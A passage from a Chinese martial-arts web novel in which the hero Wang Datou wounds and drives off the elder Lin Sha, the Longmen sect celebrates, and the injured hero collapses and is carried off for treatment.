他猛地转头,看向场中,脸上因失血而导致的苍白都被激动的潮红所覆盖,声音带着难以置信的颤抖:“猛……猛子!看到了吗?大头哥他……他赢了!他把那老怪物打伤了!”
李雅更是浑身一软,几乎要瘫倒在地,连忙用手死死撑住墙壁。
她之前已近乎绝望,泪水模糊了视线,此刻看着那个虽然遍体鳞伤、却依旧挺直脊梁的身影,巨大的喜悦和如释重负感冲击着她的心房,让她忍不住再次落泪,但这一次,是喜极而泣。
她捂着嘴,不让自己哭出声,但那不断颤抖的双肩暴露了她内心的激动。
就连一直沉稳如山、仿佛天塌不惊的赵师傅,此刻也忍不住微微动容。
他握着蟠龙拐杖的手紧了又紧,指节有些发白,浑浊的老眼中爆射出惊人的神采,低声喃喃:“好小子……好一道护身剑气!凝虚化实,破法诛邪……竟比老夫预想的还要……了得!这份隐忍,这份决断,这份置之死地而后生的魄力……龙门有幸!有幸啊!”
战场中间,王大头在一指激发【护身剑气】后,仿佛真的被抽走了所有的精气神。
脸色苍白得没有一丝血色,比地上的霜雪还要惨淡。
身体剧烈地摇晃了一下,最终再也支撑不住,单膝重重跪倒在地,只能用一只手勉强撑住地面,才没有彻底趴下。
“咳咳……噗——”
他剧烈地咳嗽着,又吐出一小口带着冰碴的黑血。
右胸的血洞因为刚才的强行运力,流血更多了,将身前的衣襟彻底染成暗红。
左肩那五道深可见骨的爪痕也狰狞外翻,看起来凄惨无比。
他伤得极重,玄冥指力造成的内部损伤和煞气侵蚀,正在不断吞噬他的生机。
内力更是近乎枯竭,一阵阵强烈的虚弱和眩晕不断袭来,眼前阵阵发黑。
但他依旧强撑着,抬起了头。
汗水混着血水从他额角滑落,滴入尘土。
他的眼神却如同被雨水洗过的寒星,冰冷、锐利,带着胜利者的审视,穿透两人之间不足十丈的距离,牢牢锁定在气息萎靡、狼狈不堪的林煞身上。
他嘴角艰难地,一点一点地,扯出一抹冰冷而讥诮的弧度,声音沙哑得如同破旧风箱,却清晰地传入林煞以及在场每一个人的耳中:
“林长老……看来,你林家这所谓的审判……失败了。今天要埋骨于此的……恐怕……未必是我王大头。”
这句话,像是一把烧红的**,狠狠地捅进了林煞的心窝!
“小……小杂种!!你……你找死!!!”
林煞气得浑身发抖,花白的头发几乎根根竖起,牵动了左肩那可怖的伤口,顿时又是一阵撕心裂肺的剧痛,让他眼前发黑,喉头一甜,差点再喷出一口血来。
他死死地盯着王大头,那眼神中的怨毒和杀意,几乎凝成了实质,恨不得用目光将王大头千刀万剐,生吞活剥!
他林煞,林家太上长老,成名近百年的化劲宗师,何时受过如此奇耻大辱?!
而且是在大庭广众之下,被一个他视若蝼蚁的小辈重创、嘲讽!
滔天的恨意在他胸中翻涌,几乎要冲垮他的理智。
但是,残存的理智和肩上那不断传来刺痛、阻碍内力运行的剑气伤口,在疯狂地提醒他——不能再停留!
左肩的伤势极其严重,不仅废了他一臂,更动摇了他的内力根基,此刻他的实力,恐怕只剩下全盛时期的三四成!
而对面那个小子,虽然看起来摇摇欲坠,但谁能保证他不能再发出第二道剑气?
哪怕只有第一道一半的威力,也足以在此时要了他的老命!
更何况,旁边还有一个一直虎视眈眈、气息深沉不弱于他全盛时期多少的赵老头!
以及那些虽然受伤但仍有战力的龙门骨干!
一旦被缠住……他林煞今天,恐怕真要把这把老骨头丢在这污秽之地了!
他不能死!他还要留着有用之身,突破更高境界,享尽荣华!
他还要亲眼看着龙门覆灭,将这小杂种抽魂炼魄!
惜命之心,终究压倒了一切。
“好!好!好一个王大头!好一个龙门!”
林煞连说三个“好”字,每一个字都像是从牙缝里挤出来,浸透了刻骨的仇恨和无边的憋屈,声音嘶哑如同夜枭啼哭,“今日断臂之仇,毁基之恨!老夫林煞,对天发誓!他日必亲率林家子弟,踏平你龙门!将你等……**万段!鸡犬不留!!”
他强提一口本命元气,强行压下肩头肆虐的剑气和体内翻腾的气血,那张老脸因痛苦和愤怒而扭曲得如同恶鬼。
他怨毒无比地扫了一眼王大头,仿佛要将他的模样刻进灵魂深处,随即又如同毒蛇般的目光扫过张猛、雷烈、李雅,以及后方那些逐渐从震惊中回过神来的龙门弟子,每一个被他目光扫过的人,都感到一股寒意从脚底
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直窜天灵盖。
“我们走!”
最后这三个字,他几乎是咆哮而出,带着无尽的耻辱和不甘。
话音未落,他不再有丝毫迟疑,身形猛地一晃,化作一道扭曲的、不再稳定的灰影,甚至无法维持化劲宗师踏空而行的潇洒,如同丧家之犬,狼狈万分地朝着滨海市外的方向疾掠而去。
速度虽依旧很快,但那踉跄的姿态,以及沿途洒落的点点血珠,都清晰地表明了他此刻的虚弱与仓皇。
几个起落之间,那道灰影便消失在街道的尽头,只留下地上一串夹杂着冰霜和刺目血迹的脚印,以及空气中尚未完全散去的血腥与煞气,诉说着刚才那一战的惨烈。
他走了。
带着比上一次更重的伤势,更深的耻辱,在林家老祖林天昊下达最后通牒的三日期满之日,这位前来执行“审判”的林家煞长老,再一次,败退而走!
寂静。
依旧是短暂的寂静。
直到林煞的气息彻底消失在感知范围之外,直到那耻辱的血脚印映入眼帘,所有人才仿佛被解开了穴道,从极致的震撼中缓缓回过神来。
“走……走了?那老怪物……真的跑了?”
“我们……守住了?龙门……保住了?”
“是龙头!是龙头打赢了!他重伤了林煞!”
窃窃私语声如同潮水般响起,充满了不确定、激动,以及劫后余生的狂喜。
下一刻——
“赢了!!!我们赢了!!!”
张猛第一个爆发出惊天动地的狂吼,他猛地跳了起来,不顾身上同样带着伤,挥舞着那双钵盂大的拳头,仰天咆哮,声震四野:“龙门万岁!大头哥万岁!!”
他激动得狠狠一巴掌拍在雷烈没受伤的那边肩膀上,拍得雷烈一个趔趄,但雷烈也是满脸涨红,跟着放声大笑,笑着笑着,这个铁塔般的汉子,眼角却渗出了浑浊的泪水,那是喜悦,是激动,更是对兄弟创造奇迹的骄傲与感动。
“赢了!我们赢了!”
“龙门万岁!”
“龙头万岁!万岁!”
山呼海啸般的欢呼声、呐喊声,如同压抑了千万年的火山,轰然爆发!所有的恐惧、所有的压抑、所有的绝望,在这一刻尽数化为滚烫的激情和泪水,从每一个龙门子弟的心中喷涌而出!
许多人相拥而泣,许多人奋力将手中的兵器抛向天空,整个龙门总部前方,瞬间化作一片欢腾的海洋!
李雅再也顾不得矜持,泪水决堤般涌出,她提着裙摆,不顾一切地冲向场中那个单膝跪地的身影。
她的心中充满了无边的骄傲和失而复得的庆幸。
第76章:惨胜!龙门的意志
赵师傅长长地、长长地舒出了一口憋在心中许久的浊气,一直紧绷的脸庞终于松弛下来,露出了一丝欣慰乃至震撼的笑容,他看着被众人目光聚焦的王大头,低声重复道:“好小子……真是……每次都能给人惊喜啊……”
然而,就在这片震耳欲聋的欢呼声中,就在李雅即将冲到他身边的那一刻,王大头强撑着的最后一丝意志,终于被潮水般涌来的黑暗和虚弱彻底吞噬。
他只觉得天旋地转,耳边的欢呼声变得遥远而模糊,眼前的一切迅速被黑暗笼罩。
支撑身体的手臂一软,那具承载了太多伤痛和重负的身躯,缓缓地、无力地向前倒去。
“大头!”
“龙头!”
李雅的惊呼和张猛、雷烈等人的骇然呼喊,瞬间压过了欢呼声。
所有的喜悦在这一刻凝固,转化为新的担忧。
龙门虽然赢得了这场惨烈的胜利,守住了根基,但他们的龙头,却付出了沉重的代价。
而所有人都明白,打退了林煞,绝非结束。
以林家的睚眦必报和霸道行事风格,随之而来的,必将是更加疯狂、更加酷烈的滔天报复!
更大的风暴,正在远方汇聚,酝酿着毁灭的雷霆。
林煞败退时洒落的血迹尚未干涸,空气中弥漫的血腥与煞气也未完全散去,但龙门总部前的氛围,已从死寂的绝望转向了一种劫后余生的、带着悲壮的沸腾。
“大头!”
“龙头!”
李雅的惊呼与张猛、雷烈的怒吼几乎同时响起。
距离最近的李雅,一身素白衣裙已沾染了不少尘土与溅落的血点,她不顾一切地第一个冲到了王大头身边。
看着他胸前那狰狞的血洞,看着他苍白如纸、气若游丝的脸庞,她的心如同被一只无形的手紧紧攥住,疼得几乎无法呼吸。
她颤抖着伸出手,却不敢轻易触碰他那些恐怖的伤口,生怕带来二次伤害,只能小心翼翼地扶住他无力倒下的肩膀,让他的头枕在自己的臂弯里。泪水如同断线的珍珠,不断滴落在他染血的衣襟上。
“大夫!快叫大夫!!”
张猛如同一头发狂的雄狮,双目赤红,朝着后方嘶吼。
他本想冲过去,但自己身上也带着不轻的内伤,刚迈出两步,便是一个踉跄,幸好被身旁勉强站立的雷烈一把扶住。
“猛子!你冷静点!赵师傅过去了!”
雷烈声音沙哑,他强忍着背部和内腑传来的剧痛,死死拉住张猛。
他的目光同样紧紧盯着场中间,那铁塔般的身躯因紧张而微微绷紧。
就在一片混乱之际,一道沉稳的身影已先于众人来到了王大头身边。正是赵师傅。
赵师傅手持那根看似普通的蟠龙拐杖,步伐看似不快,却瞬息即至。
他蹲下身,伸出枯瘦但异常稳定的手指,先是快速在王大头脖颈侧探了探,感受那微弱但依旧顽强的脉搏,眉头微微舒展一分。随即,他并指如风,迅速点向王大头胸口几处大穴,内力吞吐,柔和却坚定地暂时封住了伤口周围的主要血脉,减缓鲜血流失的速度。
他的动作娴熟老练,带着一种历经沧桑的沉稳。
“丫头,别慌。”
赵师傅抬头,看了一眼泪眼婆娑、六神无主的李雅,声音平和却带着一种让人安心的力量,“这小子命硬得很,煞气虽烈,却未能瞬间绝其生机。他体内似乎有一股奇异的生机在吊着,暂时无性命之虞。”
他的话如同定海神针,让附近骚动的人群稍稍平静了一些。
李雅哽咽着,努力点头,用手背胡乱擦去眼泪,但看向王大头的眼神依旧充满了担忧。
赵师傅仔细查看着王大头右胸的指洞,那伤口周围的皮肉呈现出一种诡异的青黑色,丝丝缕缕的阴寒煞气仍在试图侵蚀。
他又看了看王大头左肩那深可见骨的爪痕,以及其体内近乎枯竭的内力,浑浊的老眼中闪过一丝凝重,但更多的是一种激赏。
“内力耗尽,经脉受损,煞气侵体,外加多处外伤……换做寻常化劲,此刻早已灯枯油尽。”
赵师傅缓缓站起身,目光扫过围拢过来的张猛、雷烈等龙门核心,声音提高,清晰地传遍全场:
“但他撑住了!不仅撑住了,更在绝境之中,以弱胜强,重创林家太上长老林煞!此战,龙门,胜了!”
最后三个字,他灌注了内力,如同洪钟大吕,响彻在每一个龙门弟子的耳边。
短暂的寂静之后——
“胜了!我们胜了!”
“龙门万岁!”
“龙头万岁!”
比之前更加狂热、更加真挚的欢呼声如同海啸般爆发开来!
许多弟子激动得满脸通红,挥舞着拳头,甚至与身旁的同伴紧紧拥抱!
一些人看着满地狼藉,看着自己或同伴身上的伤痕,再看向场中被李雅扶着、昏迷不醒却如丰碑般的王大头,忍不住热泪盈眶。
这是惨胜!是用鲜血和意志换来的胜利!
张猛猛地挣脱雷烈的搀扶,尽管身形摇晃,却依旧挺直了腰板,他环视周围激动的人群,用他那粗犷的嗓音吼道:“都看到了吗?!这就是咱们龙门!这就是咱们的龙头!化劲宗师又如何?林家老狗又如何?想啃下我们,就得做好崩掉满嘴牙的准备!”
“对!崩掉他们的牙!”
“龙门不可辱!”
群情激昂,士气在这一刻达到了前所未有的顶点。
之前笼罩在众人心头的,对林家的恐惧阴霾,被王大头这拼死换来的一剑,彻底斩开了一道巨大的缺口!
一种名为“信念”
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和“凝聚力”的东西,在每一个龙门子弟心中疯狂滋生。
雷烈看着激动的人群,又看向被众人守护在中间的王大头,这个硬汉的眼角再次湿润。
他喃喃道:“值了……跟着这样的龙头,就算今天把命搭上,也**值了!”
赵师傅将众人的反应尽收眼底,微微颔首。
他走到张猛和雷烈身边,沉声道:“猛子,雷子,你二人也伤得不轻,立刻安排可信之人,清理战场,救治伤员,加强警戒!林家败退,但难保没有其他宵小趁火**。大头需要立刻进行深度疗伤,此地不宜久留。”
张猛和雷烈神色一凛,立刻抱拳:“是!赵师傅!”
他们强打精神,开始指挥若定。
龙门这台战争机器,在经历了极限的压迫后,非但没有散架,反而在胜利的鼓舞和核心层的带领下,高效地运转起来。
弟子们自发地开始救助同伴,收敛不幸战死者的遗体,清理战斗痕迹,每个人的脸上虽然带着悲戚和疲惫,但眼神却格外明亮和坚定。
赵师傅重新蹲下,对李雅柔声道:“丫头,帮我一起,把他扶到我静修的内室去。”
李雅连忙点头,与赵师傅一左一右,小心地将王大头架起。
王大头浑身软绵无力,头颅低垂,唯有那微弱的呼吸证明着他顽强的生命力。
在无数道崇敬、感激、担忧的目光注视下,赵师傅和李雅扶着王大头,缓缓走向龙门总部深处。
行走间,赵师傅目光扫过广场上那一道道虽然带伤却依旧挺立的身影,听着那虽然疲惫却充满力量的呼喝声,他苍老的脸上露出一丝复杂的感慨,低声自语,声音轻得只有旁边的李雅能隐约听见:
“经此一役,雏鹰折翼而不堕,浴血淬骨……此战之后,华夏古武界,当有龙门一席之地了!”
李雅闻言,娇躯微微一震,看向臂弯中昏迷的王大头,眼神中除了柔情,更添了几分难以言喻的骄傲。
她知道,赵师傅这句话,绝非虚言。
今日龙门流出的血与汗,必将铸就明日响彻华夏的威名!
龙门总部深处,一间僻静的内室。
这里陈设简单,一床,一桌,一凳,四壁空空,唯有空气中弥漫着淡淡的檀香和草药混合的气息,显示出此地主人的不凡。
王大头被平放在铺着干净棉褥的床榻上,依旧昏迷不醒。
他的脸色不再是苍白,而是隐隐泛着一层不祥的青黑之气,那是玄冥煞气深入脏腑的迹象。
右胸的伤口虽被赵师傅暂时封住,但边缘皮肉的青黑色仍在缓慢扩散,丝丝寒气从中渗出。左肩的爪痕也同样透着阴寒。
李雅守在床边,用湿毛巾小心翼翼地擦拭着王大头脸上、颈间的血污和冷汗,美眸中满是心疼与焦虑。